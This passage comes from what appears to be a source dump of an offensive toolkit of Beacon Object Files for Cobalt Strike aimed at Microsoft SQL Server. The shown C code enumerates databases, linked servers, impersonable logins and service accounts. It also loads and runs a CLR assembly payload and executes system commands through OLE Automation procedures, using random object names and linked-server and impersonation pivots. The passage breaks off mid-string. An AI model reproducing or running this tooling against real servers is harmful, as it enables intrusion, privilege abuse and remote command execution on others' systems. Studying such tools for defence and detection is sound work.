impersonate)) {\n    internal_printf(\"[!] Stored procedure not found\\n\");\n    internal_printf(\"[*] Cleaning up...\\n\");\n    DeleteTrustedAssembly(stmt, hash, link, impersonate);\n    DeleteTrustedAssemblyResources(stmt, assemblyName, function, FALSE, link, impersonate);\n    goto END;\n  }\n\n  internal_printf(\"[*] Created \\\"[%s].[StoredProcedures].[%s]\\\"\\n\", assemblyName, function);\n\n  internal_printf(\"[*] Executing payload...\\n\");\n  ExecuteAssemblyStoredProc(stmt, function, link, impersonate);\n\n  internal_printf(\"[*] Cleaning up...\\n\");\n  DeleteTrustedAssembly(stmt, hash, link, impersonate);\n  DeleteTrustedAssemblyResources(stmt, assemblyName, function, FALSE, link, impersonate);\n\nEND:\n  intFree(dllPath);\n  intFree(assemblyName);\n  ODBC32$SQLCloseCursor(stmt);\n  DisconnectSqlServer(env, dbc, stmt);\n}\n\nVOID go(IN PCHAR Buffer, IN ULONG Length) {\n  char *server;\n  char *database;\n  char *link;\n  char *impersonate;\n  char *function;\n  char *hash;\n  char *hexBytes; // DLL as hex string, not binary\n  char *user;\n  char *password;\n\n  datap parser;\n  BeaconDataParse(&parser, Buffer, Length);\n  server = BeaconDataExtract(&parser, NULL);\n  database = BeaconDataExtract(&parser, NULL);\n  link = BeaconDataExtract(&parser, NULL);\n  impersonate = BeaconDataExtract(&parser, NULL);\n  function = BeaconDataExtract(&parser, NULL);\n  hash = BeaconDataExtract(&parser, NULL);\n  hexBytes = BeaconDataExtract(&parser, NULL);\n  user = BeaconDataExtract(&parser, NULL);\n  password = BeaconDataExtract(&parser, NULL);\n\n  server = (server && *server != 0) ? server : \"localhost\";\n  database = (database && *database != 0) ? database : \"master\";\n  link = (link && *link != 0) ? link : NULL;\n  impersonate = (impersonate && *impersonate != 0) ? impersonate : NULL;\n  user = (user && *user != 0) ? user : NULL;\n  password = (password && *password != 0) ? password : NULL;\n\n  if (!bofstart()) {\n    return;\n  }\n\n  if (UsingLinkAndImpersonate(link, impersonate)) {\n    return;\n  }\n\n  ExecuteClrAssembly(server, database, link, impersonate, function, hash, hexBytes, user, password);\n  printoutput(TRUE);\n};"
  },
  {
    "path": "AD-BOF/SQL-BOF/src/SQL/columns/entry.c",
    "content": "#include \"base.c\"\n#include \"bofdefs.h\"\n#include \"sql.c\"\n\nvoid CheckTableColumns(char *server, char *database, char *link, char *impersonate, char *table, char *user, char *password) {\n  SQLHENV env = NULL;\n  SQLHSTMT stmt = NULL;\n  SQLHDBC dbc = NULL;\n  SQLRETURN ret;\n\n  if (link == NULL) {\n    dbc = ConnectToSqlServerAuth(&env, server, database, user, password);\n  } else {\n    dbc = ConnectToSqlServerAuth(&env, server, NULL, user, password);\n  }\n\n  if (dbc == NULL) {\n    goto END;\n  }\n\n  if (link == NULL) {\n    internal_printf(\"[*] Displaying columns from table %s in %s on %s\\n\\n\", table, database, server);\n  } else {\n    internal_printf( \"[*] Displaying columns from table %s in %s on %s via %s\\n\\n\", table, database, link, server);\n  }\n\n  ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt);\n  if (!SQL_SUCCEEDED(ret)) {\n    internal_printf(\"[!] Error allocating statement handle\\n\");\n    goto END;\n  }\n\n  if (link == NULL) {\n    char *dbPrefix = \"USE \";\n    char *dbSuffix = \";\";\n\n    size_t useStmtSize = MSVCRT$strlen(dbPrefix) + MSVCRT$strlen(database) + MSVCRT$strlen(dbSuffix) + 1;\n    char *useStmt = (char *)intAlloc(useStmtSize * sizeof(char));\n\n    MSVCRT$strcpy(useStmt, dbPrefix);\n    MSVCRT$strncat(useStmt, database, useStmtSize - MSVCRT$strlen(useStmt) - 1);\n    MSVCRT$strncat(useStmt, dbSuffix, useStmtSize - MSVCRT$strlen(useStmt) - 1);\n\n    if (!HandleQuery(stmt, (SQLCHAR *)useStmt, link, impersonate, FALSE)) {\n      goto END;\n    }\n\n    char *tablePrefix = \"SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '\";\n    char *tableSuffix = \"' ORDER BY ORDINAL_POSITION;\";\n\n    size_t querySize = MSVCRT$strlen(tablePrefix) + MSVCRT$strlen(table) + MSVCRT$strlen(tableSuffix) + 1;\n    char *query = (char *)intAlloc(querySize * sizeof(char));\n\n    MSVCRT$strcpy(query, tablePrefix);\n    MSVCRT$strncat(query, table, MSVCRT$strlen(query) - 1);\n    MSVCRT$strncat(query, tableSuffix, MSVCRT$strlen(query) - 1);\n\n    if (!HandleQuery(stmt, (SQLCHAR *)query, link, impersonate, FALSE)) {\n      goto END;\n    }\n    PrintQueryResults(stmt, TRUE);\n\n    intFree(query);\n    intFree(useStmt);\n  } else {\n    char *dbPrefix = \"SELECT COLUMN_NAME FROM \";\n    char *tablePrefix = \".INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '\";\n    char *tableSuffix = \"' ORDER BY ORDINAL_POSITION;\";\n\n    size_t querySize = MSVCRT$strlen(dbPrefix) + MSVCRT$strlen(database) + MSVCRT$strlen(tablePrefix) + MSVCRT$strlen(table) + MSVCRT$strlen(tableSuffix) + 1;\n    char *query = (char *)intAlloc(querySize * sizeof(char));\n\n    MSVCRT$strcpy(query, dbPrefix);\n    MSVCRT$strncat(query, database, querySize - MSVCRT$strlen(query) - 1);\n    MSVCRT$strncat(query, tablePrefix, querySize - MSVCRT$strlen(query) - 1);\n    MSVCRT$strncat(query, table, querySize - MSVCRT$strlen(query) - 1);\n    MSVCRT$strncat(query, tableSuffix, querySize - MSVCRT$strlen(query) - 1);\n\n    if (!HandleQuery(stmt, (SQLCHAR *)query, link, impersonate, FALSE)) {\n      goto END;\n    }\n    PrintQueryResults(stmt, TRUE);\n\n    intFree(query);\n  }\n\nEND:\n  ODBC32$SQLCloseCursor(stmt);\n  DisconnectSqlServer(env, dbc, stmt);\n}\n\nVOID go(IN PCHAR Buffer, IN ULONG Length) {\n  char *server;\n  char *database;\n  char *table;\n  char *link;\n  char *impersonate;\n  char *user;\n  char *password;\n\n  datap parser;\n  BeaconDataParse(&parser, Buffer, Length);\n\n  server = BeaconDataExtract(&parser, NULL);\n  database = BeaconDataExtract(&parser, NULL);\n  table = BeaconDataExtract(&parser, NULL);\n  link = BeaconDataExtract(&parser, NULL);\n  impersonate = BeaconDataExtract(&parser, NULL);\n  user = BeaconDataExtract(&parser, NULL);\n  password = BeaconDataExtract(&parser, NULL);\n\n  server = *server == 0 ? \"localhost\" : server;\n  database = *database == 0 ? \"master\" : database;\n  table = *table == 0 ? NULL : table;\n  link = *link == 0 ? NULL : link;\n  impersonate = *impersonate == 0 ? NULL : impersonate;\n  user = *user == 0 ? NULL : user;\n  password = *password == 0 ? NULL : password;\n\n  if (!bofstart()) {\n    return;\n  }\n\n  if (table == NULL) {\n    internal_printf(\"[!] Table argument is required\\n\");\n    printoutput(TRUE);\n    return;\n  }\n\n  if (UsingLinkAndImpersonate(link, impersonate)) {\n    return;\n  }\n\n  CheckTableColumns(server, database, link, impersonate, table, user, password);\n\n  printoutput(TRUE);\n};"
  },
  {
    "path": "AD-BOF/SQL-BOF/src/SQL/databases/entry.c",
    "content": "#include \"base.c\"\n#include \"bofdefs.h\"\n#include \"sql.c\"\n\nvoid CheckDatabases(char *server, char *database, char *link, char *impersonate, char *user, char *password) {\n  SQLHENV env = NULL;\n  SQLHSTMT stmt = NULL;\n  SQLHDBC dbc = NULL;\n  SQLRETURN ret;\n\n  if (link == NULL) {\n    dbc = ConnectToSqlServerAuth(&env, server, database, user, password);\n  } else {\n    dbc = ConnectToSqlServerAuth(&env, server, NULL, user, password);\n  }\n\n  if (dbc == NULL) {\n    goto END;\n  }\n\n  if (link == NULL) {\n    internal_printf(\"[*] Enumerating databases on %s\\n\\n\", server);\n  } else {\n    internal_printf(\"[*] Enumerating databases on %s via %s\\n\\n\", link, server);\n  }\n\n  ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt);\n  if (!SQL_SUCCEEDED(ret)) {\n    internal_printf(\"[!] SQLAllocHandle failed\\n\");\n    goto END;\n  }\n\n  SQLCHAR *query = (SQLCHAR *)\"SELECT sd.dbid, sd.name, SUSER_SNAME(sd.sid) AS db_owner, d.is_trustworthy_on, sd.crdate, sd.filename FROM master.dbo.sysdatabases sd LEFT JOIN sys.databases d ON sd.dbid = d.database_id;\";\n  if (!HandleQuery(stmt, (SQLCHAR *)query, link, impersonate, FALSE)) {\n    goto END;\n  }\n  PrintQueryResults(stmt, TRUE);\n\nEND:\n  ODBC32$SQLCloseCursor(stmt);\n  DisconnectSqlServer(env, dbc, stmt);\n}\n\nVOID go(IN PCHAR Buffer, IN ULONG Length) {\n  char *server;\n  char *database;\n  char *link;\n  char *impersonate;\n  char *user;\n  char *password;\n\n  datap parser;\n  BeaconDataParse(&parser, Buffer, Length);\n\n  server = BeaconDataExtract(&parser, NULL);\n  database = BeaconDataExtract(&parser, NULL);\n  link = BeaconDataExtract(&parser, NULL);\n  impersonate = BeaconDataExtract(&parser, NULL);\n  user = BeaconDataExtract(&parser, NULL);\n  password = BeaconDataExtract(&parser, NULL);\n\n  server = *server == 0 ? \"localhost\" : server;\n  database = *database == 0 ? \"master\" : database;\n  link = *link == 0 ? NULL : link;\n  impersonate = *impersonate == 0 ? NULL : impersonate;\n  user = *user == 0 ? NULL : user;\n  password = *password == 0 ? NULL : password;\n\n  if (!bofstart()) {\n    return;\n  }\n\n  if (UsingLinkAndImpersonate(link, impersonate)) {\n    return;\n  }\n\n  CheckDatabases(server, database, link, impersonate, user, password);\n\n  printoutput(TRUE);\n};"
  },
  {
    "path": "AD-BOF/SQL-BOF/src/SQL/impersonate/entry.c",
    "content": "#include \"base.c\"\n#include \"bofdefs.h\"\n#include \"sql.c\"\n\nvoid CheckImpersonate(char *server, char *database, char *user, char *password) {\n  SQLHENV env = NULL;\n  SQLHSTMT stmt = NULL;\n  SQLRETURN ret;\n\n  SQLHDBC dbc = ConnectToSqlServerAuth(&env, server, database, user, password);\n\n  if (dbc == NULL) {\n    goto END;\n  }\n\n  internal_printf(\"[*] Enumerating users that can be impersonated on %s\\n\\n\", server);\n\n  ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt);\n  if (!SQL_SUCCEEDED(ret)) {\n    internal_printf(\"[!] Error allocating statement handle\\n\");\n    goto END;\n  }\n\n  SQLCHAR *query = (SQLCHAR *)\"SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE';\";\n  if (!ExecuteQuery(stmt, query)) {\n    goto END;\n  }\n  PrintQueryResults(stmt, TRUE);\n\nEND:\n  ODBC32$SQLCloseCursor(stmt);\n  DisconnectSqlServer(env, dbc, stmt);\n}\n\nVOID go(IN PCHAR Buffer, IN ULONG Length) {\n  char *server = NULL;\n  char *database = NULL;\n  char *user = NULL;\n  char *password = NULL;\n\n  datap parser;\n  BeaconDataParse(&parser, Buffer, Length);\n\n  server = BeaconDataExtract(&parser, NULL);\n  database = BeaconDataExtract(&parser, NULL);\n  user = BeaconDataExtract(&parser, NULL);\n  password = BeaconDataExtract(&parser, NULL);\n\n  server = *server == 0 ? \"localhost\" : server;\n  database = *database == 0 ? \"master\" : database;\n  user = *user == 0 ? NULL : user;\n  password = *password == 0 ? NULL : password;\n\n  if (!bofstart()) {\n    return;\n  }\n\n  CheckImpersonate(server, database, user, password);\n\n  printoutput(TRUE);\n};"
  },
  {
    "path": "AD-BOF/SQL-BOF/src/SQL/info/entry.c",
    "content": "#include \"base.c\"\n#include \"bofdefs.h\"\n#include \"sql.c\"\n\n\ntypedef struct SQLINFO {\n  char *ComputerName;\n  char *DomainName;\n  char *ServicePid;\n  char *ServiceName;\n  char *ServiceAccount;\n  char *AuthenticationMode;\n  char *ForcedEncryption;\n  char *Clustered;\n  char *SqlServerVersionNumber;\n  char *SqlServerMajorVersion;\n  char *SqlServerEdition;\n  char *SqlServerServicePack;\n  char *OsArchitecture;\n  char *OsMachineType;\n  char *OsVersion;\n  char *OsVersionNumber;\n  char *CurrentLogin;\n  BOOL IsSysAdmin;\n  char *ActiveSessions;\n} SQLINFO;\n\nvoid FreeAttr(char *attr) {\n  if (attr == NULL) {\n    return;\n  }\n\n  intFree(attr);\n}\n\nvoid FreeSqlInfo(SQLINFO *info) {\n  if (info == NULL) {\n    return;\n  }\n\n  FreeAttr(info->ComputerName);\n  FreeAttr(info->DomainName);\n  FreeAttr(info->ServicePid);\n  FreeAttr(info->ServiceName);\n  FreeAttr(info->ServiceAccount);\n  FreeAttr(info->AuthenticationMode);\n  FreeAttr(info->ForcedEncryption);\n  FreeAttr(info->Clustered);\n  FreeAttr(info->SqlServerVersionNumber);\n  FreeAttr(info->SqlServerMajorVersion);\n  FreeAttr(info->SqlServerEdition);\n  FreeAttr(info->SqlServerServicePack);\n  FreeAttr(info->OsArchitecture);\n  FreeAttr(info->OsMachineType);\n  FreeAttr(info->OsVersion);\n  FreeAttr(info->OsVersionNumber);\n  FreeAttr(info->CurrentLogin);\n  FreeAttr(info->ActiveSessions);\n}\n\nvoid GetSQLInfo(char *server, char *database, char *user, char *password) {\n  SQLHENV env = NULL;\n  SQLHSTMT stmt = NULL;\n  SQLRETURN ret;\n  SQLINFO info;\n  memset(&info, 0, sizeof(SQLINFO));\n\n  SQLHDBC dbc = ConnectToSqlServerAuth(&env, server, database, user, password);\n\n  if (dbc == NULL) {\n    goto END;\n  }\n\n  internal_printf(\"[*] Extracting SQL server information\\n\");\n\n  ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt);\n  if (!SQL_SUCCEEDED(ret)) {\n    internal_printf(\"[!] Error allocating statement handle\\n\");\n    goto END;\n  }\n\n  SQLCHAR *query = (SQLCHAR *)\"SELECT IS_SRVROLEMEMBER('sysadmin');\";\n  if (!ExecuteQuery(stmt, query)) {\n    goto END;\n  }\n  char *result = GetSingleResult(stmt, FALSE);\n  if (result[0] == '1') {\n    info.IsSysAdmin = TRUE;\n  } else {\n    info.IsSysAdmin = FALSE;\n  }\n\n  intFree(result);\n  ODBC32$SQLCloseCursor(stmt);\n\n  query = (SQLCHAR *)\"SELECT @@SERVERNAME;\";\n  if (!ExecuteQuery(stmt, query)) {\n    goto END;\n  }\n  info.ComputerName = GetSingleResult(stmt, FALSE);\n  ODBC32$SQLCloseCursor(stmt);\n\n  query = (SQLCHAR *)\"SELECT default_domain();\";\n  if (!ExecuteQuery(stmt, query)) {\n    goto END;\n  }\n  info.DomainName = GetSingleResult(stmt, FALSE);\n  ODBC32$SQLCloseCursor(stmt);\n\n  query = (SQLCHAR *)\"SELECT CONVERT(VARCHAR(255), SERVERPROPERTY('processid'));\";\n  if (!ExecuteQuery(stmt, query)) {\n    goto END;\n  }\n  info.ServicePid = GetSingleResult(stmt, FALSE);\n  ODBC32$SQLCloseCursor(stmt);\n\n  query = (SQLCHAR *)\"DECLARE @SQLServerServiceName varchar(250)\\n\"\n                     \"DECLARE @SQLServerInstance varchar(250)\\n\"\n                     \"if @@SERVICENAME = 'MSSQLSERVER'\\n\"\n                     \"BEGIN\\n\"\n                     \"set @SQLServerInstance = \"\n                     \"'SYSTEM\\\\CurrentControlSet\\\\Services\\\\MSSQLSERVER'\\n\"\n                     \"set @SQLServerServiceName = 'MSSQLSERVER'\\n\"\n                     \"END\\n\"\n                     \"ELSE\\n\"\n                     \"BEGIN\\n\"\n                     \"set @SQLServerInstance = \"\n                     \"'SYSTEM\\\\CurrentControlSet\\\\Services\\\\MSSQL$'+cast(@@\"\n                     \"SERVICENAME as varchar(250))\\n\"\n                     \"set @SQLServerServiceName = 'MSSQL$'+cast(@@SERVICENAME \"\n                     \"as varchar(250))\\n\"\n                     \"END\\n\"\n                     \"SELECT @SQLServerServiceName;\";\n  if (!ExecuteQuery(stmt, query)) {\n    goto END;\n  }\n  info.ServiceName = GetSingleResult(stmt, FALSE);\n  ODBC32$SQLCloseCursor(stmt);\n\n  query = (SQLCHAR *)\"DECLARE @SQLServerInstance varchar(250)\\n\"\n                     \"if @@SERVICENAME = 'MSSQLSERVER'\\n\"\n                     \"BEGIN\\n\"\n                     \"set @SQLServerInstance = \"\n                     \"'SYSTEM\\\\CurrentControlSet\\\\Services\\\\MSSQLSERVER'\\n\"\n                     \"END\\n\"\n                     \"ELSE\\n\"\n                     \"BEGIN\\n\"\n                     \"set @SQLServerInstance = \"\n                     \"'SYSTEM\\\\CurrentControlSet\\\\Services\\\\MSSQL$'+cast(@@\"\n                     \"SERVICENAME as varchar(250))\\n\"\n                     \"END\\n\"\n                     \"DECLARE @ServiceAccountName varchar(250)\\n\"\n                     \"EXECUTE master.dbo.xp_instance_regread\\n\"\n                     \"N'HKEY_LOCAL_MACHINE', @SQLServerInstance,\\n\"\n                     \"N'ObjectName',@ServiceAccountName OUTPUT, N'no_output'\\n\"\n                     \"SELECT @ServiceAccountName;\";\n  if (!ExecuteQuery(stmt, query)) {\n    goto END;\n  }\n  info.ServiceAccount = GetSingleResult(stmt, FALSE);\n  ODBC32$SQLCloseCursor(stmt);\n\n  query =\n      (SQLCHAR *)\"DECLARE @AuthenticationMode INT\\n\"\n                 \"EXEC master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',\\n\"\n                 \"N'Software\\\\Microsoft\\\\MSSQLServer\\\\MSSQLServer',\\n\"\n                 \"N'LoginMode', @AuthenticationMode OUTPUT\\n\"\n                 \"(SELECT CASE @AuthenticationMode\\n\"\n                 \"WHEN 1 THEN 'Windows Authentication'\\n\"\n                 \"WHEN 2 THEN 'Windows and SQL Server Authentication'\\n\"\n                 \"ELSE 'Unknown'\\n\"\n                 \"END);\";\n  if (!ExecuteQuery(stmt, query)) {\n    goto END;\n  }\n  info.AuthenticationMode = GetSingleResult(stmt, FALSE);\n  ODBC32$SQLCloseCursor(stmt);\n\n  query =\n      (SQLCHAR *)\"BEGIN TRY\\n\"\n                 \"DECLARE @ForcedEncryption INT\\n\"\n                 \"EXEC master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',\\n\"\n                 \"N'SOFTWARE\\\\MICROSOFT\\\\Microsoft SQL \"\n                 \"Server\\\\MSSQLServer\\\\SuperSocketNetLib',\\n\"\n                 \"N'ForceEncryption', @ForcedEncryption OUTPUT\\n\"\n                 \"END TRY\\n\"\n                 \"BEGIN CATCH\t            \\n\"\n                 \"END CATCH\\n\"\n                 \"SELECT @ForcedEncryption;\";\n  if (!ExecuteQuery(stmt, query)) {\n    goto END;\n  }\n  info.ForcedEncryption = GetSingleResult(stmt, FALSE);\n  ODBC32$SQLCloseCursor(stmt);\n\n  query = (SQLCHAR *)\"SELECT CASE  SERVERPROPERTY('IsClustered')\\n\"\n                     \"WHEN 0\\n\"\n                     \"THEN 'No'\\n\"\n                     \"ELSE 'Yes'\\n\"\n                     \"END\";\n  if (!ExecuteQuery(stmt, query)) {\n    goto END;\n  }\n  info.Clustered = GetSingleResult(stmt, FALSE);\n  ODBC32$SQLCloseCursor(stmt);\n\n  query = (SQLCHAR *)\"SELECT CONVERT(VARCHAR(255), SERVERPROPERTY('productversion'));\";\n  if (!ExecuteQuery(stmt, query)) {\n    goto END;\n  }\n  info.SqlServerVersionNumber = GetSingleResult(stmt, FALSE);\n  ODBC32$SQLCloseCursor(stmt);\n\n  query = (SQLCHAR *)\"SELECT SUBSTRING(@@VERSION, CHARINDEX('2', @@VERSION), 4);\";\n  if (!ExecuteQuery(stmt, query)) {\n    goto END;\n  }\n  info.SqlServerMajorVersion = GetSingleResult(stmt, FALSE);\n  ODBC32$SQLCloseCursor(stmt);\n\n  query = (SQLCHAR *)\"SELECT CONVERT(VARCHAR(255), SERVERPROPERTY('Edition'));\";\n  if (!ExecuteQuery(stmt, query)) {\n    goto END;\n  }\n  info.SqlServerEdition = GetSingleResult(stmt, FALSE);\n  ODBC32$SQLCloseCursor(stmt);\n\n  query = (SQLCHAR *)\"SELECT CONVERT(VARCHAR(255), SERVERPROPERTY('ProductLevel'));\";\n  if (!ExecuteQuery(stmt, query)) {\n    goto END;\n  }\n  info.SqlServerServicePack = GetSingleResult(stmt, FALSE);\n  ODBC32$SQLCloseCursor(stmt);\n\n  query = (SQLCHAR *)\"SELECT SUBSTRING(@@VERSION, CHARINDEX('x', @@VERSION), 3);\";\n  if (!ExecuteQuery(stmt, query)) {\n    goto END;\n  }\n  info.OsArchitecture = GetSingleResult(stmt, FALSE);\n  ODBC32$SQLCloseCursor(stmt);\n\n  if (info.IsSysAdmin) {\n    query =\n        (SQLCHAR *)\"DECLARE @MachineType  SYSNAME\\n\"\n                   \"EXECUTE master.dbo.xp_regread\\n\"\n                   \"@rootkey\t\t= N'HKEY_LOCAL_MACHINE',\\n\"\n                   \"@key\t\t\t= \"\n                   \"N'SYSTEM\\\\CurrentControlSet\\\\Control\\\\ProductOptions',\\n\"\n                   \"@value_name\t= N'ProductType',\\n\"\n                   \"@value\t\t\t= @MachineType output\\n\"\n                   \"SELECT @MachineType;\";\n    if (!ExecuteQuery(stmt, query)) {\n      goto END;\n    }\n    info.OsMachineType = GetSingleResult(stmt, FALSE);\n    ODBC32$SQLCloseCursor(stmt);\n  }\n\n  if (info.IsSysAdmin) {\n    query = (SQLCHAR *)\"DECLARE @ProductName  SYSNAME\\n\"\n                       \"EXECUTE master.dbo.xp_regread\\n\"\n                       \"@rootkey\t\t= N'HKEY_LOCAL_MACHINE',\\n\"\n                       \"@key\t\t\t= \"\n                       \"N'SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion',\\n\"\n                       \"@value_name\t= N'ProductName',\\n\"\n                       \"@value\t\t\t= @ProductName output\\n\"\n                       \"SELECT @ProductName;\";\n    if (!ExecuteQuery(stmt, query)) {\n      goto END;\n    }\n    info.OsVersion = GetSingleResult(stmt, FALSE);\n    ODBC32$SQLCloseCursor(stmt);\n  }\n\n  query = (SQLCHAR *)\"SELECT RIGHT(SUBSTRING(@@VERSION, CHARINDEX('Windows Server', @@VERSION), 19), 4);\";\n  if (!ExecuteQuery(stmt, query)) {\n    goto END;\n  }\n  info.OsVersionNumber = GetSingleResult(stmt, FALSE);\n  ODBC32$SQLCloseCursor(stmt);\n\n  query = (SQLCHAR *)\"SELECT SYSTEM_USER;\";\n  if (!ExecuteQuery(stmt, query)) {\n    goto END;\n  }\n  info.CurrentLogin = GetSingleResult(stmt, FALSE);\n  ODBC32$SQLCloseCursor(stmt);\n\n  query = (SQLCHAR *)\"SELECT COUNT(*) FROM [sys].[dm_exec_sessions] WHERE status = 'running';\";\n  if (!ExecuteQuery(stmt, query)) {\n    goto END;\n  }\n  info.ActiveSessions = GetSingleResult(stmt, FALSE);\n\n  internal_printf(\"%-30s: %s\\n\", \" |--> ComputerName\", info.ComputerName);\n  internal_printf(\"%-30s: %s\\n\", \" |--> DomainName\", info.DomainName);\n  internal_printf(\"%-30s: %s\\n\", \" |--> ServicePid\", info.ServicePid);\n  internal_printf(\"%-30s: %s\\n\", \" |--> ServiceName\", info.ServiceName);\n  internal_printf(\"%-30s: %s\\n\", \" |--> ServiceAccount\", info.ServiceAccount);\n  internal_printf(\"%-30s: %s\\n\", \" |--> AuthenticationMode\", info.AuthenticationMode);\n  internal_printf(\"%-30s: %s\\n\", \" |--> ForcedEncryption\", info.ForcedEncryption);\n  internal_printf(\"%-30s: %s\\n\", \" |--> Clustered\", info.Clustered);\n  internal_printf(\"%-30s: %s\\n\", \" |--> SqlServerVersionNumber\", info.SqlServerVersionNumber);\n  internal_printf(\"%-30s: %s\\n\", \" |--> SqlServerMajorVersion\", info.SqlServerMajorVersion);\n  internal_printf(\"%-30s: %s\\n\", \" |--> SqlServerEdition\", info.SqlServerEdition);\n  internal_printf(\"%-30s: %s\\n\", \" |--> SqlServerServicePack\", info.SqlServerServicePack);\n  internal_printf(\"%-30s: %s\\n\", \" |--> OsArchitecture\", info.OsArchitecture);\n\n  if (info.IsSysAdmin) {\n    internal_printf(\"%-30s: %s\\n\", \" |--> OsMachineType\", info.OsMachineType);\n    internal_printf(\"%-30s: %s\\n\", \" |--> OsVersion\", info.OsVersion);\n  }\n\n  internal_printf(\"%-30s: %s\\n\", \" |--> OsVersionNumber\", info.OsVersionNumber);\n  internal_printf(\"%-30s: %s\\n\", \" |--> CurrentLogin\", info.CurrentLogin);\n  internal_printf(\"%-30s: %s\\n\", \" |--> IsSysAdmin\", info.IsSysAdmin ? \"True\" : \"False\");\n  internal_printf(\"%-30s: %s\\n\", \" |--> ActiveSessions\", info.ActiveSessions);\n\nEND:\n  FreeSqlInfo(&info);\n  ODBC32$SQLCloseCursor(stmt);\n  DisconnectSqlServer(env, dbc, stmt);\n}\n\nVOID go(IN PCHAR Buffer, IN ULONG Length) {\n  char *server = NULL;\n  char *database = NULL;\n  char *user = NULL;\n  char *password = NULL;\n\n  datap parser;\n  BeaconDataParse(&parser, Buffer, Length);\n  server = BeaconDataExtract(&parser, NULL);\n  database = BeaconDataExtract(&parser, NULL);\n  user = BeaconDataExtract(&parser, NULL);\n  password = BeaconDataExtract(&parser, NULL);\n\n  server = *server == 0 ? \"localhost\" : server;\n  database = *database == 0 ? \"master\" : database;\n  user = *user == 0 ? NULL : user;\n  password = *password == 0 ? NULL : password;\n\n  if (!bofstart()) {\n    return;\n  }\n\n  GetSQLInfo(server, database, user, password);\n\n  printoutput(TRUE);\n};"
  },
  {
    "path": "AD-BOF/SQL-BOF/src/SQL/links/entry.c",
    "content": "#include \"base.c\"\n#include \"bofdefs.h\"\n#include \"sql.c\"\n\nvoid CheckLinks(char *server, char *database, char *link, char *impersonate, char *user, char *password) {\n  SQLHENV env = NULL;\n  SQLHSTMT stmt = NULL;\n  SQLHDBC dbc = NULL;\n\n  if (link == NULL) {\n    dbc = ConnectToSqlServerAuth(&env, server, database, user, password);\n  } else {\n    dbc = ConnectToSqlServerAuth(&env, server, NULL, user, password);\n  }\n\n  if (dbc == NULL) {\n    goto END;\n  }\n\n  if (link == NULL) {\n    internal_printf(\"[*] Enumerating linked servers on %s\\n\\n\", server);\n  } else {\n    internal_printf(\"[*] Enumerating linked servers on %s via %s\\n\\n\", link, server);\n  }\n\n  ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt);\n\n  SQLCHAR *query = (SQLCHAR *)\"SELECT name, product, provider, data_source FROM sys.servers WHERE is_linked = 1;\";\n  if (!HandleQuery(stmt, query, link, impersonate, FALSE)) {\n    goto END;\n  }\n  PrintQueryResults(stmt, TRUE);\n\nEND:\n  ODBC32$SQLCloseCursor(stmt);\n  DisconnectSqlServer(env, dbc, stmt);\n}\n\nVOID go(IN PCHAR Buffer, IN ULONG Length) {\n  char *server;\n  char *database;\n  char *link;\n  char *impersonate;\n  char *user;\n  char *password;\n\n  datap parser;\n  BeaconDataParse(&parser, Buffer, Length);\n\n  server = BeaconDataExtract(&parser, NULL);\n  database = BeaconDataExtract(&parser, NULL);\n  link = BeaconDataExtract(&parser, NULL);\n  impersonate = BeaconDataExtract(&parser, NULL);\n  user = BeaconDataExtract(&parser, NULL);\n  password = BeaconDataExtract(&parser, NULL);\n\n  server = *server == 0 ? \"localhost\" : server;\n  database = *database == 0 ? \"master\" : database;\n  link = *link == 0 ? NULL : link;\n  impersonate = *impersonate == 0 ? NULL : impersonate;\n  user = *user == 0 ? NULL : user;\n  password = *password == 0 ? NULL : password;\n\n  if (!bofstart()) {\n    return;\n  }\n\n  if (UsingLinkAndImpersonate(link, impersonate)) {\n    return;\n  }\n\n  CheckLinks(server, database, link, impersonate, user, password);\n\n  printoutput(TRUE);\n};"
  },
  {
    "path": "AD-BOF/SQL-BOF/src/SQL/olecmd/entry.c",
    "content": "#include \"base.c\"\n#include \"bofdefs.h\"\n#include \"sql.c\"\n#include \"sql_modules.c\"\n\nvoid ExecuteOleCmd(char *server, char *database, char *link, char *impersonate, char *command, char *user, char *password) {\n  SQLHENV env = NULL;\n  SQLHSTMT stmt = NULL;\n  SQLHDBC dbc = NULL;\n  SQLRETURN ret;\n  char *query;\n  size_t totalSize;\n\n  if (link == NULL) {\n    dbc = ConnectToSqlServerAuth(&env, server, database, user, password);\n  } else {\n    dbc = ConnectToSqlServerAuth(&env, server, NULL, user, password);\n  }\n\n  if (dbc == NULL) {\n    goto END;\n  }\n\n  ret = ODBC32$SQLAllocHandle(SQL_HANDLE_STMT, dbc, &stmt);\n  if (!SQL_SUCCEEDED(ret)) {\n    internal_printf(\"[!] Error allocating statement handle\\n\");\n    goto END;\n  }\n\n  if (IsModuleEnabled(stmt, \"OLE Automation Procedures\", link, impersonate)) {\n    internal_printf(\"[*] OLE Automation Procedures is enabled\\n\");\n  } else {\n    internal_printf(\"[!] OLE Automation Procedures is not enabled\\n\");\n    goto END;\n  }\n\n  ODBC32$SQLCloseCursor(stmt);\n\n  if (link != NULL) {\n    if (IsRpcEnabled(stmt, link)) {\n      internal_printf(\"[*] RPC out is enabled\\n\");\n    } else {\n      internal_printf(\"[!] RPC out is not enabled\\n\");\n      goto END;\n    }\n\n    ODBC32$SQLCloseCursor(stmt);\n  }\n\n  internal_printf(\"[*] Executing system command...\\n\\n\");\n\n  InitRandomSeed();\n  char *output = GenerateRandomString(8);\n  char *program = GenerateRandomString(8);\n\n  internal_printf(\"[*] Setting sp_oacreate to \\\"%s\\\"\\n\", output);\n  internal_printf(\"[*] Setting sp_oamethod to \\\"%s\\\"\\n\", program);\n\n  char *linkPrefix = \"SELECT 1; \";\n  char *part1 = \"DECLARE @\";            // followed by output\n  char *part2 = \" INT; DECLARE @\";      // followed by program\n  char *part3 = \" VARCHAR(255); SET @\"; // followed by program\n  char *part4 = \" = 'Run(\\\"\";           // followed by command\n  char *part5 =\n    